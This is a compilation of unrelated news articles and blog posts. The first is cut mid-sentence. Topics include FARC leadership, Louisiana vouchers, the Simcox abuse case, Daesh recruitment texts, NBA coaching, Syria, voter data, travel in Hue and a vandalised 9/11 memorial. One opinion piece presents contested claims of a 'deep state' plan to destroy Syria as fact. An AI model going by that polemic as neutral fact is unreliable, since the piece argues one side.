Centauri. These are our tools, an extension of us. Our devices will get smaller and more embedded into us through wearables, VR/AR glasses, VR/AR contact lenses.  Once nonbiological intelligence gets a foothold in the human brain (this has already started with computerized neural implants), the machine intelligence in our brains will grow exponentially – Ray Kurzweil  Obviously there are massive dangers involved, but that’s where this is leading. It will be a very incremental process. Bit by bit the technology will become more and more a physical part of us rather than an extension.  This seems ridiculously science fiction, but breakthroughs are becoming common in neuroprosthetics and implantable electronics.  Can we inject electronic circuits into the brain, then connect & monitor it?  Yes,we can, & that’s where we are today  Charles Lieber’s team at Harvard is making good progress by implanting electronics in mice. Lieber commented by saying “In science, I’ve been disappointed at times, and this is a case where we’ve been more than pleasantly surprised,”  Elon Musk has spoken at length how a “neural lace” is essential. Neuroprosthetic startup Kernel is employing top neuroscientists to build an implantable chip in the hope that eventually it will be able to enhance intelligence.  THE BEGINNING OF INFINITY  The road ahead might seem outrageous, or too dangerous and difficult from where we sit today.  But in all likelihood, when the time passes and we get to that stage, many will take the accomplishments for granted. The goalposts always move on what seems impressive.  An often repeated quote is “AI will be the last invention we ever make”. But what seems to us today like the hardest challenge possible might seem relatively trivial compared to what we will face after this.  Who knows what kind of journeys, adventures, and problems we’ll be enabled to overcome when there is no distinction between us and our most advanced technology.  Follow me on Twitter @leebanfield1  Bitcoin: 1Jwh6nZiASJf4d3hNytjxqiimWBmEJvJ4S  Bitmessage: BM-2cXjeAykLT7gbjzNHZFnCxdawvyryyb4Nf  Advertisements
-BOGOTA — The Revolutionary Armed Forces of Colombia, the guerilla group known as the FARC, chose a military hardliner as its new commander this week, in what could be a blow to a peaceful resolution to Colombia’s conflict.  It could also spell the beginning of the end for the FARC.  Rodrigo Loño Echeverry, 52, known as Timochenko, was chosen after the death this weekend of the group’s commander, Alfonso Cano, who was killed in a government bombardment.  Read more: Cocaine crackdown  The government, who has been fighting the FARC for decades, called Cano’s death a serious blow to the group. Cano was a charismatic leader who skillfully united factions of the FARC who disagreed on whether to pursue a military or political strategy in dealing with the government.  At issue is the tentative discussions about negotiations that Cano allegedly had begun with the government before his death, and what some analysts believed was a rare chance for peace. Colombian officials have since said they would be willing to continue negotiations with the FARC if the group acted in good faith. Most analysts say that the government would also need to show that it is willing to implement some economic reforms the group had demanded in the past.  It’s still unclear whether Timochenko, who analysts believe may be hiding in neighboring Venezuela, has interest in pursuing that path, or remaining at war. But his background suggests that he’s likely to continue a militaristic approach.  Read more: 'Blood roses' in Colombia  Timochenko is one of the FARC’s longest running commanders. A medical student when he joined the rebels in 1982, he has studied politics and warfare in the Soviet Union and Cuba. Since then, he has risen to lead the head of the group’s intelligence operations.  Colombia's attorney general has issued 117 arrest warrants for Timochenko on charges of kidnapping, murder, rebellion and terrorism. The United States has offered $5 million for information leading to his capture.  The FARC has been battling the government since the 1960s, when it was founded to fight for the rights of Colombia’s poor. Since then, however, it has strayed from its original ideology, working with drug-traffickers to fund its operations, kidnapping civilians and launching violent attacks against the government. The shift has also sapped public support for the FARC.  Since 2008, the Colombian military has intensified its military campaign against the group. So far, it has killed four out of seven top leaders. Yet the government hasn’t been able to eradicate the rebels.  Miguel Ortiga, a researcher at the Foundation for Ideas Towards Peace, said that that Timochenko was less likely to negotiate than his predecessor. He also would have less of an ability to unite the group.  That could lead the FARC to splinter into smaller groups who might align with criminal gangs, raising the potential for clashes between these rivals and creating a greater threat to civilians.  "This is very dangerous for Colombia in the long term," Ortiga said. "The criminal groups have better weapons and training. This, mixed with a desire to fight the government and lack of leadership, could be a bomb."  It would also almost certainly render negotiations moot. Either way, buoyed by Cano’s death, the government seems little interested in discussions now.  “Think about it,” said President Juan Manuel Santos, in a public address to Timochenko. “You have been defeated politically, more than 95 percent of the population rejects the FARC. Your military is increasingly weak.  “The use of weapons and the path of violence will not lead to any win for you. Timochenko needs to reflect, or he will suffer the same fate as Alfonso Cano.”  Interior Minister German Vargas Lleras has already announced that Timochenko has become the state government's top target.  “We know what is the next government's objective: to capture Timochenko. If he is the new FARC leader, they have showed us our next goal,” he said.
-Gov. Bobby Jindal's voucher program that uses tax dollars to send students to private schools was ruled unconstitutional Friday by a state judge who said it's improperly funded through the public school financing formula.  Judge Tim Kelley sided with arguments presented by teacher unions and school boards seeking to shut down the voucher program and other changes that would funnel more money away from traditional public schools.  More than 4,900 students are enrolled in 117 private schools with taxpayer dollars, in one of the largest voucher programs in the nation.  The judge said the method the Jindal administration, state education leaders and lawmakers used to pay for the voucher program violates state constitutional provisions governing the annual education funding formula, called the Minimum Foundation Program or MFP.  "The MFP was set up for students attending public elementary and secondary schools and was never meant to be diverted to private educational providers," Kelley wrote in a 39-page ruling.  Superintendent of Education John White and Jindal said the state will appeal.  Jindal called the judge's ruling "a travesty for parents across Louisiana who want nothing more than for their children to have an equal opportunity at receiving a great education."  "On behalf of the citizens that cast their votes for reform, the parents who want more choices, and the kids who deserve a chance, we will appeal today's decision, and I'm confident we will prevail," the governor said in a statement.  Bill Maurer, a lawyer representing two parents with children in the voucher program and two pro-voucher groups, said he believes the decision is "not consistent with the interpretation of the Louisiana Constitution."  Maurer said he didn't expect Kelley's ruling to immediately force voucher students from their private schools, because Kelley didn't issue an injunction against the program.  It was the second legal setback this week for the voucher program that Jindal pushed through the Legislature this year as part of a sweeping education system overhaul. On Monday, a federal judge halted the voucher program in one Louisiana parish, saying it conflicts with a decades-old desegregation case.  "The political rhetoric of 'pro-reform' vs. 'anti-reform' hopefully is over," said Scott Richard, head of the Louisiana School Boards Association. "We're not anti-reform. We just want the political shell game to stop with public funding for public education."
-Michelle Lynch has a suitcase full of disturbing stories to tell about accused child molester and former minuteman leader Chris Simcox.  Some are really creepy, especially in hindsight.  Simcox had "tons" of little girls in his apartment playing with his two young daughters, according to Lynch, who lived in the same apartment building in an upper-middle-class complex near the border of Scottsdale and Phoenix.  Continue Reading  "I remember six girls, [my daughter] being one of them walking to my house with Chris," she recalled during a recent sit-down at a Phoenix coffee shop. "They were all in princess clothing."  Lynch didn't know then that Simcox was the onetime face of the minuteman movement or that he had been accused of domestic violence and the molestation of his now-adult daughter when she was 14. She knew nothing of his public life.  Instead, she saw a single parent, like herself, who seemed deeply involved in the lives of his kids.  He was home-schooling his two daughters, who, like Lynch's daughter, were under age 10. And though he was never specific, he made it seem as if he was in law enforcement, work that he did not want to discuss.  Another time, Simcox came to her apartment, his two kids in tow. Neither she nor her daughter were home. Her 14-year-old son answered the door.  "Chris handed him a very large bag of Skittles," Lynch said. "I think it was a pound bag, and he says, 'Give this to [your sister] for being a good girl.'"  Lynch didn't think much of it. She had no reason to. Simcox had gained her trust, as he had the trust of other parents in the apartment complex. And the kids visited each others' apartments all the time.  But once her daughter revealed to her how Simcox had told her "secrets" and showed her explicit movies while molesting her, she remembered the Skittles.  "For him to walk up to my door with his two daughters and to hand my son candy, the candy he was giving to my daughter for her participation," she said, her voice filled with disgust, "that's a sick individual. He honestly doesn't care. He's very cocky."  So cocky that he may reject the sweet deal he's been offered by the Maricopa County Attorney's Office: 10 years, with his five class-2 felony counts of child molestation and sexual conduct with a minor busted down to attempted child molestation, and the class-4 felony charge for showing porn to a child wiped away.  Lynch's daughter is not Simcox's only alleged victim. The ex-kindergarten teacher and Republican politician also is charged with molesting one of his own children, inserting his finger into her vagina while both of his girls were showering together.  (Note: Lynch does not know Simcox's ex-wife Alena. Allegations concerning Simcox's daughter came up after the investigation began.)  And there was a third victim cited in the probable-cause statement, another little girl in the complex, who in a forensic interview conducted at the nonprofit anti-child abuse center Childhelp, told an investigator that Simcox had bribed her with candy to see her panties and her genitals. He allegedly had shown this girl "sexy" pictures on his computer, but apparently not pornographic ones.  Charges related to that girl have been dropped.  I initially approached Lynch at a court hearing that I reported on, one in which prosecutor Yigael Cohen told the judge he would make a plea offer.  Cohen didn't reveal the specifics in public, but Lynch was informed and broke down sobbing outside the courtroom. She didn't want to talk then.  Since that day, her sorrow has turned to rage. Her daughter has nightmares about what happened at Simcox's apartment and fears Simcox's returning to hurt her. She told her mother that she was molested every time she went to play with Simcox's kids.  The young girl is getting counseling, but the entire family has been affected. Lynch herself is wracked with guilt and horror. Before Simcox was arrested (it took one month from the initial report to another agency 'til Phoenix cops put Simcox in cuffs), the family lived in fear. One time, she caught her son sleeping with a knife.  At a recent meeting in Cohen's office, Lynch expressed distress. The felonies involving Simcox's alleged sexual conduct with his daughter hypothetically could land Simcox in prison for life. The other charges could bring decades in stir.  But with the plea deal, Simcox could be out in 81/2 years, as Arizona's cons have to serve 85 percent of a sentence before getting released. He would be 60 years old then and certainly capable of victimizing again.  Cohen assured Lynch he knew best, that he'd worked sex crimes for the past eight years. The plea deal was a "legal fiction," to ensure that Simcox did not walk and that he did not have to put her daughter or Simcox's daughters on the stand.  It was "an appropriate plea," Cohen told her, with all the sensitivity of Bashar al-Assad.  Plus, the MCAO never offers a plea deal on all counts: "That's just the way it is," he tutted.  Lynch told him that she didn't care about his eight years of experience, because she would have to spend the next eight years, and then some, making sure her daughter doesn't become a statistic.  What about when Simcox gets out? He would be on lifetime probation, promised Cohen, monitored by a GPS device and not allowed near children. If he slipped, he could be back in prison for another long stint.  "Essentially, the prosecutor is saying [that once he gets out], they'll just wait 'til he does it again," Lynch said, infuriated. "Then they'll give him more time. Meanwhile, they're creating more victims."  So far, County Attorney Bill Montgomery's office has declined to answer questions about the Simcox case, or the apparent conflict with Montgomery's having been a minuteman supporter. Montgomery reportedly even went on patrol with the minutemen at one time.  Though I requested the police report on this case shortly after Simcox was arrested on June 19, I still was waiting for a copy as this column went to press.  There are too many unanswered questions about the Simcox case. One is, why wasn't Simcox's computer seized? After all, Simcox used it in the alleged commission of a crime, showing porn to Lynch's daughter.  But Lynch has been told by both Phoenix police and by Cohen that no one ever attempted to get a search warrant for the computer.  Cohen's explanation for this?  "That police had no reason to," Lynch said. "That he was watching adult porn, and that's not illegal."  Both cops and other law enforcement folk I know tell me that they could have applied for the warrant and a judge probably would have granted it.  If they happened to find child porn on the computer, each image could mean a minimum of 10 years in stir. With more charges stacked against him, Simcox probably would have been willing to accept a harsher sentence.  "Who knows what else was on that computer?" said Lynch. "I don't know if he was videotaping them as they were watching [porn]. Nobody knows."  The computer is gone now. Someone went to the apartment weeks after Simcox was arrested and took away most of his belongings, Lynch explained.  Lynch, an Air Force vet who now teaches at a local charter school, is no milquetoast. She believes Simcox's ties to Montgomery and other power players in Arizona may be why the MCAO wants the case to go away, and she knows that Cohen and his colleagues are annoyed with her.  "They should be," she said, fire in her eyes. "Because I'm only going to be more annoying. This is my daughter we're talking about."
-Condominium residents across Metro Vancouver are struggling to comply with the new ban on putting food scraps in the garbage, according to one spokesperson.  New rules requiring apartments and businesses separate all food waste for composting went into effect on Jan.1.  But the head of the Condominium Home Owners Association of B.C. Tony Gioventu said there is a lack of receptacles for individual condo owners, and a lack of instructions.  "It's been a little confusing for people because one of the challenges is municipalities. Each deal with waste management and waste disposal in organics differently," said Gioventu.  That is why Gioventu is calling for all cities to roll out a coordinated plan for condos across Metro Vancouver with a public education campaign.  He says it's important condo owners get instructions on where to get composting bins and what should go in them.  "Where do we get our kitchen waste containers? We seem to have a little bit of a shortage of them in the industry right now ... We're looking at literally several hundred thousand kitchen receptacles so people can manage their organic waste," said Gioventu.  No surcharges in 2015  Paul Henderson, the solid waste manager for Metro Vancouver, said it's up to each municipality to deal with how the waste ban is implemented.  He says condo owners should contact their own strata council or municipal government for more information.  In the meantime, he said there is plenty of time for condo strata boards to get their programs up and running before surcharges are levied for organics found in garbage.  "It won't happen until next year or potentially even the following year. so there is lots of time for getting those systems in place at the multifamily level," said Henderson.  On mobile? Watch Metro Vancouver's explanation of the organic waste ban.
-On Sunday, Daesh recruiters dispatched text messages to young men in Brussels’ Muslim-dominated district of Molenbeek, calling on them to "make the right choice" and "fight the westerners."  The texts, according to a recent statement from Belgium’s health minister, were sent from an untraceable prepaid account and followed the distribution of a Facebook video showing Molenbeek youth celebrating last week’s terror attacks in Brussels that left at least 35 dead.  The SMS text message, written in French, says: "My brother, why not fight the westerners? Make the right choice in your life."  The use of mass, targeted online communication via social networks to distribute propaganda has heightened tensions in Brussels following the attacks, and has seen ever more strident calls for crackdowns against the Muslim community and barring entry for refugees. Officials fear that in the wake of the tragic attacks, disillusioned Muslim youth who face increased persecution may respond to Daesh’s call for violent extremism.  "These people are trying to take our youth by storm," said Jamal Ikazban, a local Socialist MP. "It is like having a big-time drug dealer outside the school gates. We feel the same. They have to be taken off the streets. They are predators and our youths are the victims."  The move by jihadists, dispatching call-to-arms text messages during a police lockdown, could incite tensions in Brussels and potentially leaves the recipients subject to investigation by Belgian authorities.  Community leaders are stepping up to try to reduce the risk of radicalization among Molenbeek’s Muslim youth population and to prevent increased turbulence from the region’s far-right. One such leader seeking to calm to turbid waters is Jamal Zaria, an imam at Molenbeek’s Arafat mosque who is meeting with community parents to come up with strategies to render terrorist propaganda ineffective.  © REUTERS / Chris Keane Trump Campaign Manager Charged With Assaulting Reporter – Reports  "Our kids are being exposed to something like cancer at a metastasic stage," said Zaria, "It is really spreading very quickly. We have to race against time to develop an immune system for the children in our community so they reject the message of Daesh."  Notwithstanding efforts within the Islamic community to counter terror propaganda and to inoculate the community’s children against extremism, the polarization between Belgium’s Muslim and Christian communities has been amplified by new calls to expel Muslims.  © REUTERS / Vincent Kessler Belgian Lower House Committee Approves Night Police Anti-Terror Raids  One ultraconservative group will attempt to hold an “expel the Islamists” demonstration in Molenbeek on Saturday. The march has been banned due to fears that it will incite violence, but Belgian nationalists have successfully defied previous march prohibitions.
-Mike D'Antoni's candidacy for the Houston Rockets' ‎coaching job is gaining momentum, according to league sources.  Sources told ESPN on Wednesday that D'Antoni has emerged as a leading candidate for the post, having impressed Rockets owner Leslie Alexander in multiple conversations since the search began. Alexander vowed to ESPN last month during the playoffs that he would take a more active role in this coaching search than he has in the past.  The Houston Chronicle on Wednesday labeled D'Antoni as the front-runner for the post. One source close to the process told ESPN that the Rockets' search had not yet progressed to that point but did say D'Antoni was indeed gaining steam in the search for a successor to Kevin McHale and interim replacement J.B. Bickerstaff.  The Rockets will be Mike D'Antoni's fifth head-coaching job after previous stints with the Nuggets, Suns, Knicks and Lakers. Soobum Im/USA TODAY Sports  ESPN reported Tuesday that Jeff Van Gundy has received strong support from Rockets general manager Daryl Morey to make a return to Houston for a second stint as Rockets coach, but sources say Alexander has yet to be sold on a reunion with the ESPN analyst, who has been working in television since the sides parted ways in May 2007.  Sources said Tuesday night that the Rockets would seek to hire a coach with strong defensive credentials, to essentially serve as D'Antoni's defensive coordinator, if talks progress to a serious stage and D'Antoni is the choice to take over.  The offensive-minded D'Antoni, currently serving as associate head coach of the Philadelphia 76ers, has previously been a head coach with Denver, Phoenix, New York and the Los Angeles Lakers.  Since its first-round elimination earlier this month, Houston has interviewed D'Antoni, former Cleveland Cavaliers coach David Blatt, former Phoenix Suns coach Jeff Hornacek, Los Angeles Clippers assistant coach Sam Cassell, Charlotte Hornets assistant Stephen Silas, San Antonio Spurs assistant coach Ettore Messina, current Rockets assistant Chris Finch and TNT analyst Kenny Smith.  It emerged Monday that Smith had been informed that he is no longer being considered for the position, with sources saying Houston is focused on hiring a seasoned former head coach. Messina, who has extensive head-coaching experience overseas, interviewed Saturday, sources told The Undefeated's Marc J. Spears.  The Chronicle reported in Tuesday's editions that former Indiana Pacers coach Frank Vogel remains "part of the process." Vogel interviewed with the Rockets in the 2011 offseason while still the Pacers' interim coach, but the job went to McHale.  ESPN reported Monday the Memphis Grizzlies have registered strong interest in Vogel, who has also interviewed for the Knicks' coaching vacancy and is widely considered a leading candidate for the Orlando Magic's coaching job along with current Magic assistant Adrian Griffin.  The Rockets fired McHale just 11 games into what was the first season of a three-year deal. Houston lost to Golden State in five games in the first round of the playoffs while slipping well off the standard it set in 2014-15, when the club won 56 games and reached the Western Conference finals.  After his own meeting with team officials, Bickerstaff withdrew from consideration early in the search, despite posting a 37-34 record upon succeeding McHale and helping Houston rally into a playoff spot after its seasonlong defensive struggles.
-By Brandon Turbeville  As the Syrian crisis enters its sixth year, the Donald Trump administration is looking more and more like the Obama administration every day. With the Trump regime refusing to open useful dialogue with Russia regarding Syria, its obvious anti-Iran and pro-Israel positioning, and support for a very questionable “safe zone” plan for Syria, the odds of a rational U.S. policy in regards to Syria has lower and lower odds of existence as time progresses.  Yet, despite the fact that the Trump administration is apparently poised to continue the Obama regime’s proxy war of aggression against the people of Syria, an example of seamless transition, it should also be remembered that the plan to destroy Syria did not begin with Obama but with the Bush administration.  Even now, as the world awaits the continuation of the Syrian war through a Democratic and Republican administration, the genesis of that war goes back to the Republican Bush administration, demonstrating that there is indeed an overarching agenda and an overarching infrastructure of an oligarchical deep state intent on moving forward regardless of which party is seemingly in power.  As journalist Seymour Hersh wrote in his article, “The Redirection,”  To undermine Iran, which is predominantly Shiite, the Bush Administration has decided, in effect, to reconfigure its priorities in the Middle East. In Lebanon, the Administration has cooperated with Saudi Arabia’s government, which is Sunni, in clandestine operations that are intended to weaken Hezbollah, the Shiite organization that is backed by Iran. The U.S. has also taken part in clandestine operations aimed at Iran and its ally Syria. A by-product of these activities has been the bolstering of Sunni extremist groups that espouse a militant vision of Islam and are hostile to America and sympathetic to Al Qaeda.  “Extremist groups that espouse a militant vision of Islam” who are “hostile to America and sympathetic to al-Qaeda” are the definition of the so-called “rebels” turned loose on Syria in 2011. Likewise, the fact that both Iran and Hezbollah, who are natural enemies of al-Qaeda and such radical Sunni groups, are involved in the battle against ISIS and other related terrorist organizations in Syria proves the accuracy of the article on another level.  Hersh also wrote,  The new American policy, in its broad outlines, has been discussed publicly. In testimony before the Senate Foreign Relations Committee in January, Secretary of State Condoleezza Rice said that there is “a new strategic alignment in the Middle East,” separating “reformers” and “extremists”; she pointed to the Sunni states as centers of moderation, and said that Iran, Syria, and Hezbollah were “on the other side of that divide.” (Syria’s Sunni majority is dominated by the Alawi sect.) Iran and Syria, she said, “have made their choice and their choice is to destabilize.” Some of the core tactics of the redirection are not public, however. The clandestine operations have been kept secret, in some cases, by leaving the execution or the funding to the Saudis, or by finding other ways to work around the normal congressional appropriations process, current and former officials close to the Administration said. . . . . . . This time, the U.S. government consultant told me, Bandar and other Saudis have assured the White House that “they will keep a very close eye on the religious fundamentalists. Their message to us was ‘We’ve created this movement, and we can control it.’ It’s not that we don’t want the Salafis to throw bombs; it’s who they throw them at—Hezbollah, Moqtada al-Sadr, Iran, and at the Syrians, if they continue to work with Hezbollah and Iran.” . . . . . . Fourth, the Saudi government, with Washington’s approval, would provide funds and logistical aid to weaken the government of President Bashir Assad, of Syria. The Israelis believe that putting such pressure on the Assad government will make it more conciliatory and open to negotiations. Syria is a major conduit of arms to Hezbollah. . . . . . . . . . . . The Syrian Muslim Brotherhood, a branch of a radical Sunni movement founded in Egypt in 1928, engaged in more than a decade of violent opposition to the regime of Hafez Assad, Bashir’s father. In 1982, the Brotherhood took control of the city of Hama; Assad bombarded the city for a week, killing between six thousand and twenty thousand people. Membership in the Brotherhood is punishable by death in Syria. The Brotherhood is also an avowed enemy of the U.S. and of Israel. Nevertheless, Jumblatt said, “We told Cheney that the basic link between Iran and Lebanon is Syria—and to weaken Iran you need to open the door to effective Syrian opposition.” . . . . . There is evidence that the Administration’s redirection strategy has already benefitted the Brotherhood. The Syrian National Salvation Front is a coalition of opposition groups whose principal members are a faction led by Abdul Halim Khaddam, a former Syrian Vice-President who defected in 2005, and the Brotherhood. A former high-ranking C.I.A. officer told me, “The Americans have provided both political and financial support. The Saudis are taking the lead with financial support, but there is American involvement.” He said that Khaddam, who now lives in Paris, was getting money from Saudi Arabia, with the knowledge of the White House. (In 2005, a delegation of the Front’s members met with officials from the National Security Council, according to press reports.) A former White House official told me that the Saudis had provided members of the Front with travel documents.  Hersh also spoke with Sheikh Hassan Nasrallah, leader of the Shi’ite Lebanese militia, Hezbollah. In relation to the Western strategy against Syria, he reported,  Nasrallah said he believed that America also wanted to bring about the partition of Lebanon and of Syria. In Syria, he said, the result would be to push the country “into chaos and internal battles like in Iraq.” In Lebanon, “There will be a Sunni state, an Alawi state, a Christian state, and a Druze state.” But, he said, “I do not know if there will be a Shiite state.” Nasrallah told me that he suspected that one aim of the Israeli bombing of Lebanon last summer was “the destruction of Shiite areas and the displacement of Shiites from Lebanon. The idea was to have the Shiites of Lebanon and Syria flee to southern Iraq,” which is dominated by Shiites. “I am not sure, but I smell this,” he told me. Partition would leave Israel surrounded by “small tranquil states,” he said. “I can assure you that the Saudi kingdom will also be divided, and the issue will reach to North African states. There will be small ethnic and confessional states,” he said. “In other words, Israel will be the most important and the strongest state in a region that has been partitioned into ethnic and confessional states that are in agreement with each other. This is the new Middle East.”  Download Your First Issue Free! Do You Want to Learn How to Become Financially Independent, Make a Living Without a Traditional Job & Finally Live Free?  Download Your Free Copy of Counter Markets  Yet, while even the connections between the plans to destroy Syria and the Bush administration are generally unknown, what is even less well-known is the fact that there existed a plan to destroy Syria as far back as 1983.  Documents contained in the U.S. National Archives and drawn up by the CIA reveal a plan to destroy the Syrian government going back decades. One such document entitled, “Bringing Real Muscle To Bear In Syria,” written by CIA officer Graham Fuller, is particularly illuminating. In this document, Fuller wrote,  Syria at present has a hammerlock on US interests both in Lebanon and in the Gulf — through closure of Iraq’s pipeline thereby threatening Iraqi internationalization of the [Iran-Iraq] war. The US should consider sharply escalating the pressures against Assad [Sr.] through covertly orchestrating simultaneous military threats against Syria from three border states hostile to Syria: Iraq, Israel and Turkey.  Even as far back as 1983, Syrian President Bashar al-Assad’s father, Hafez Assad, was viewed as a gadfly to the plans of Western imperialists seeking to weaken both the Iraqis and the Iranians and extend hegemony over the Middle East and Persia. The document shows that Assad and hence Syria represented a resistance to Western imperialism, a threat to Israel, and that Assad himself was well aware of the game the United States, Israel, and other members of the Western imperialist coalition were trying to play against him. The report reads,  Syria continues to maintain a hammerlock on two key U.S. interests in the Middle East: — Syrian refusal to withdraw its troops from Lebanon ensures Israeli occupation in the south; — Syrian closure of the Iraqi pipeline has been a key factor in bringing Iraq to its financial knees, impelling it towards dangerous internationalization of the war in the Gulf Diplomatic initiatives to date have had little effect on Assad who has so far correctly calculated the play of forces in the area and concluded that they are only weakly arrayed against him. If the U.S. is to rein in Syria’s spoiling role, it can only do so through exertion of real muscle which will pose a vital threat to Assad’s position and power.  The author then presents a plan that sounds eerily similar to those now being discussed publicly by Western and specifically American corporate-financier think tanks and private non-governmental organizations who unofficially craft American policy. Fuller writes,  The US should consider sharply escalating the pressures against Assad [Sr.] through covertly orchestrating simultaneous military threats against Syria from three border states hostile to Syria: Iraq, Israel and Turkey. Iraq, perceived to be increasingly desperate in the Gulf war, would undertake limited military (air) operations against Syria with the sole goal of opening the pipeline. Although opening war on a second front against Syria poses considerable risk to Iraq, Syria would also face a two-front war since it is already heavily engaged in the Bekaa, on the Golan and in maintaining control over a hostile and restive population inside Syria. Israel would simultaneously raise tensions along Syria’s Lebanon front without actually going to war. Turkey, angered by Syrian support to Armenian terrorism, to Iraqi Kurds on Turkey’s Kurdish border areas and to Turkish terrorists operating out of northern Syria, has often considered launching unilateral military operations against terrorist camps in northern Syria. Virtually all Arab states would have sympathy for Iraq. Faced with three belligerent fronts, Assad would probably be forced to abandon his policy of closure of the pipeline. Such a concession would relieve the economic pressure on Iraq, and perhaps force Iran to reconsider bringing the war to an end. It would be a sharpening blow to Syria’s prestige and could effect the equation of forces in Lebanon.
-WASHINGTON (Reuters) - Maryland, Delaware and Louisiana on Monday joined a growing number of U.S. states that have refused to hand over voter data to a commission established by President Donald Trump to investigate possible voting fraud.  FILE PHOTO: A ballot is placed into a locked ballot box by a poll worker as people line-up to vote early at the San Diego County Elections Office in San Diego, California, U.S., November 7, 2016. REUTERS/Mike Blake/File Photo  More than 20 states, including Virginia, Kentucky, California, New York and Massachusetts, have declined to provide some or all of the information that the panel requested, saying it was unnecessary and violated privacy.  Republican Trump created the Presidential Advisory Commission on Election Integrity in May after making unsubstantiated claims that millions of people voted illegally for his Democratic rival, Hillary Clinton, in last November’s election.  Calling the request “repugnant,” Maryland Attorney General Brian Frosh said in a statement that his office had advised the State Board of Elections that the commission’s request was illegal.  The request “appears designed only to intimidate voters and to indulge President Trump’s fantasy that he won the popular vote,” Frosh said.  The commission sent a letter to the 50 states asking them to turn over voter information including names, the last four digits of Social Security numbers, addresses, birth dates, political affiliations, felony convictions and voting histories.  Louisiana Secretary of State Tom Schedler said the presidential commission could purchase the limited information legally available to candidates running for office.  “You’re not going to play politics with Louisiana’s voter data,” he said in a statement.  Delaware Elections Commissioner Elaine Manlove said in an interview with Milford’s WXDE-FM radio that her office would not comply since some of the information was confidential. Manlove said she was working with the attorney general’s office to see if the request could be denied completely.  Trump has blasted the states who have refused to turn over the data. He said in a tweet on Saturday, “What are they trying to hide?”  Trump won the White House through victory in the Electoral College, which tallies wins in states, but he lost the popular vote to Clinton by some 3 million votes. He has claimed he would have won the popular vote had it not been for voter fraud.  Civil rights activists say the commission will encourage voter suppression by justifying new barriers to voting, such as requiring identity cards to vote.
-After dinner, we headed out into the street to buy some food for the train ride. We found a stall with freshly prepared sandwiches and bought some stock. A taxi picked us up and drove us to the train station at 6pm. Sintija and Gregor, new friends, which we have met at the hotel in Hanoi went also on this train, however they had a ticket to Hoi An and we had a ticket for Hue. While we had a reserved ticket in a compartment with beds, they had to endure all night in the seat section of the train. When we got to our compartment, we realized that we will share it with Jim from USA and his wife from China. They were a really great company and we quickly fell into a debate. In the late evening we turned out the lights and quickly fell asleep. The ride towards the town of Hue was faster this way. The next day, with a one-hour delay, we arrived at the city of Hue. We said goodbye to our one-night room-mates. At the exit from the train station our ride to the hotel, which we booked beforehand, was already waiting for us. Reviews of the hotel were excellent, however it had a little bit strange name – "Google hotel". Upon arrival at the hotel, it turned out that the hotel has nothing to do with Google. :)  After a late breakfast, we headed out onto the streets. After a few steps we met Olle, a friend, who we met at the one-day trip to Halong Bay a few days earlier. We decided to go on a last drink before he returns home to cold Sweden. I really liked that a person who approaches his seventies still travels and enjoys the hustle and bustle in Vietnam. Most people at that age would probably choose to travel with a group or choose a more serene destination. After a drink, we split up, Olle his way, and we our way.  Vietnamese burn fake money, since they believe their ancestors will receive it.  River Song Huong respectively. translated Parfum river that divides the city.  Hairdresser with an interesting entrance.  The bridge is always full of scooters.  River is also used for transportation.  On the opposite bank they had an exhibition of flowers and bonsai trees.  and fishes... :)  Tools on the ground.  Flowers with a flag tower in background.  …  They had really a lot of flowers...  City of Hue is well known for the fact that it was the capital and also imperial city from 1802 till 1945. Within the city there was a forbidden city where the emperor lived. Access to the city had only concubines and his top officials. Whoever wanted to enter by force was killed on the spot. Today it is under protections of UNESCO and converted into a museum. I really recommend the visit, since the city has wonderful architecture.  The entrance does not disappoint.  There are really many details.  It is also worth to look up as the roofs are also richly decorated.  Even the emperor's premises are, of course, top notch decorated. :)  View at the main square inside the Forbidden City.  Artifacts and shadow play...  Architecture...  Open corridors also make an interesting motif.  Some are also richly decorated.  Around the city leads a walking path. It is also possible to go on a carriage ride.  Transitions between different parts of the city are separated by striking doors.  …  …  The choice of complementary colors is also interesting.  Tea house.  Another passage.  …  Rich decoration.  And the exit from the Forbidden City.  The streets are full as allways.  Waiting for the green light.
-A memorial sponsored by the College Republicans club at a small, liberal arts college in California was repeatedly vandalized on the 15th anniversary of the September 11 terrorist attacks. Nearly 3,000 flags at Occidental College were crushed and trashed.  “Today is meant to be a day of respect and remembrance for all the victims and heroes of 9/11,” the Occidental College Republicans wrote in a Facebook post. The 2,997 American flags the club sponsored were planted by “students of all backgrounds” to represent the people who died in the terrorist attacks.  However, the memorial was destroyed in the overnight hours ahead of the anniversary.  “At midnight early this morning, vandals crushed, snapped, and threw in the garbage every single flag,” the club wrote on Sunday. “Not one was left in the ground. Not only did they destroy the memorial, they put posters and flyers up that shamed the victims of 9/11.”  Those makeshift flyers were taped to benches and other surfaces. Many of them read: “R.I.P. The 2,996 Americans who died in 9/11. R.I.P. the 1,455,590 innocent Iraqis who died during the U.S. invasion for something they didn’t do.”  A group of 15 students pulled the flags out of the trash and replaced them on the quad. But the vandalism wasn’t finished. Despite having a few students who “stood guard at the memorial” in the early hours of Sunday morning, “[f]our Occidental students came up and snapped a few flags right in our faces. When we confronted them, those cowards got away as fast as they possibly could.”  Later in the morning, the club said, there was “another lazy attempt at vandalism,” with hundreds of the flags “kicked and smashed,” and about 50 were again thrown out.  “This is beyond politics, this is about those lives that were so tragically taken,” the Occidental College Republicans wrote. “We ask that all students respect the memorial for the remainder of its time in the quad. If you try to destroy it, we will rebuild it.”  The school itself is looking into the vandalism.  “We don't yet know who is responsible for this incident, but the college is investigating and will take appropriate disciplinary action,” Occidental said in a statement. “If you have any information about this incident, please share that information with us at conduct@oxy.edu."  President Barack Obama attended the small, left-leaning liberal arts school in Los Angeles for two years before transferring to Columbia University to finish his undergraduate degree.  Occidental’s 9/11 memorial wasn’t the only one that was vandalized ahead of the 15th anniversary of the terrorist attacks. On Friday, Emergency Medical Veterans Response in Phoenix, Arizona discovered that the specially designed memorial wrap on its ambulance was torn and burned beyond repair. The company’s owner, Trinidy Currier, found the damage as he was heading to Arizona State University to provide medical aid at the school’s 9/11 Tribute Run.  "It was a very stupid move. It was very inconsiderate and thoughtless," Currier, an Army veteran, told KSAZ. “A lot of us are firefighters, a lot of are veterans, so it's kind of like having 911 on site."  "There's a lot of different emotions going on right now. I've got the anger, I've got the sadness, I've got the where do we go from here," he added.  A local sign company has stepped up to donate a new wrap, which is expected to cost between $4,500 and $5,500.
